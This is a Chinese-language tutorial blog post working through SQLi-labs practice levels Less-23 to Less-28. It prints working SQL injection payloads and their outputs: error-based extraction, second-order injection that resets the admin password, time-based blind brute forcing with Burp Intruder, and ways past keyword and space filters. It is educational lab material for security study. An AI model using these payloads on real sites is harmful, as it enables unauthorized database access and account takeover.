★★免責聲明★★
文章中涉及的程序(方法)可能帶有攻擊性,僅供安全研究與學習之用,讀者將信息做其他用途,由Ta承擔全部法律及連帶責任,文章作者不承擔任何法律及連帶責任。
0、總體思路
先確認是否可以SQL注入,使用單雙引號,1/0,括號測試 ’ " 1/0 ),頁面顯示不同內容或響應長度來確定。存在SQL注入后則開始構造輪子進行驗證,猜出數據庫,用戶名,表名,字段名,有沒有文件漏洞等。
為方便驗證提交攔截到BP,右擊到Repeater修改參數值進行驗證看響應內容。
特殊字符說明
+表示空格
--表示注釋
1、Less-23
GET - Error based - strip comments
1.1、判斷是否存在SQL注入
正常響應長度
輸入帶單引號’,響 應長度有變化
1.2、報錯函數
在測試過程中發現union 聯合查詢的方式一直報錯,嘗試報錯函數成功爆出。
報錯函數extractvalue,0x7e是~的ASCII碼,字符型后面有加單引號,數字型沒有,根據報錯函數獲取到數據庫名,登錄名。
# 輸入內容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1# 輸出內容
XPATH syntax error: '~security~'# 輸入內容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1# 輸出內容
XPATH syntax error: '~root@localhost~'
2、Less-24
POST-Second order lnjections Real treat - stored lnjections
二次注入,先注冊一個賬號帶有注釋功能的,然后登錄,再修改密碼
2.1、注冊帶注釋功能的賬號
賬號:admin'#
密碼:123456
2.2、用新賬號登錄
用新賬號登錄成功
2.3、修改密碼
修改目標密碼為123,用賬號:admin,密碼:123登錄驗證是否成功。
3、Less-25
GET - Error based - All your OR & AND belong to us -string single quote
3.1、判斷是否存在SQL注入
正常響應長度
輸入帶單引號’,響 應長度有變化
3.2、報錯函數
在測試過程中發現union 聯合查詢的方式沒有達到預期值,嘗試報錯函數成功爆出。
報錯函數extractvalue(),updatexml()沒有達到預期值,GTID_SUBSET()成功爆出。
# 輸入內容
'-GTID_SUBSET(database(),1)-'# 輸出內容
Malformed GTID set specification 'security'.# 輸入內容
'-GTID_SUBSET(user(),1)-'# 輸出內容
Malformed GTID set specification 'root@localhost'.
4、Less-25a
GET - Blind Based - All your OR & AND belong to us- lntiger based
4.1、判斷是否存在SQL注入
正常響應長度
輸入帶單引號’,響應長度有變化
4.2、借用BP爆破數據庫
過濾 or and 關鍵字 采用重復的方式處理
oorr --> or
anandd --> and
4.2.1、使用時間盲注驗證
# 輸入內容
+anandd+if(1=1,sleep(1),sleep(5))--+
4.2.2、爆破數據庫長度
# 輸入內容
+anandd+if(length(database())=5,1,0)--+
在Repeater右擊發送到Intruder,先清除默認的標志位,自己定位到數字5,這個值任意填寫的。Attack Type選擇:Cluster bomb,參數設置看截圖說明。
4.2.3、爆破數據庫名
# 輸入內容
+anandd+if(substr(database(),1,1)='a',1,0)--+
爆破參數設置看截圖說明,需要2個參數,第一個是截取的數據庫對應的字段索引,第二個是匹配的內容。
5、Less-26
GET - Error based - All your SPACEs and COMMENTS belong to us
參考博客:https://blog.csdn.net/m0_71299382/article/details/127944148
5.1、判斷是否存在SQL注入
正常響應長度
輸入帶單引號’,響 應長度有變化
5.2、關聯查詢
回顯位在第2位
# 輸入內容-數據庫名
0'%0bunion%0bselect%0b1,database(),3||'1'='1# 輸入內容-登錄名
0'%0bunion%0bselect%0b1,user(),3||'1'='1
6、Less-27
GET - Error Based-All your UNION & SELECT Belong to us - String - single quote
參考:https://blog.csdn.net/qq_73393033/article/details/132106554
6.1、判斷是否存在SQL注入
正常響應長度
輸入帶單引號’,響 應長度有變化
6.2、報錯函數
%26是&的URL編碼
# 輸入內容
'%26%26updatexml(1,concat('~',database(),'~',user()),1)%26%26'1'='1# 輸出內容
XPATH syntax error: '~security~root@localhost'# 輸入內容
'%26%26extractvalue(1,concat(0x7e,(select+database()),0x7e))=1%26%26'1'='1# 輸出內容
XPATH syntax error: '~security~'
7、Less-28
GET -Error Based- All your UNION & SELECT Belong to us - String -Single quote with parenthesis
參考:https://blog.csdn.net/m0_57736664/article/details/128553406
7.1、判斷是否存在SQL注入
正常響應長度
輸入帶單引號’,響 應長度有變化
7.2、確定回顯字段
看源碼參數閉合是')
,嘗試驗證是不是4個字段,沒有回顯,修改為了3時回顯了,因此可確定是3個字段
# 輸入內容
')order%0Aby%0A4;%00# 頁面沒有預期回顯數據# 修改為3
')order%0Aby%0A3;%00
7.3、關聯查詢
回顯位在第2位
# 輸入內容-數據庫
0')union%0aunion%0aselectselect%0a1,database(),3||('1')=('1# 輸入內容-登錄名
0')union%0aunion%0aselectselect%0a1,user(),3||('1')=('1
8、下期內容預告
截止到目前SQL注入的內容已經分享了7篇,后面會有一篇關于ByPass(繞過)和總結的內容。敬請關注我的公眾號:大象只為你,持續更新中…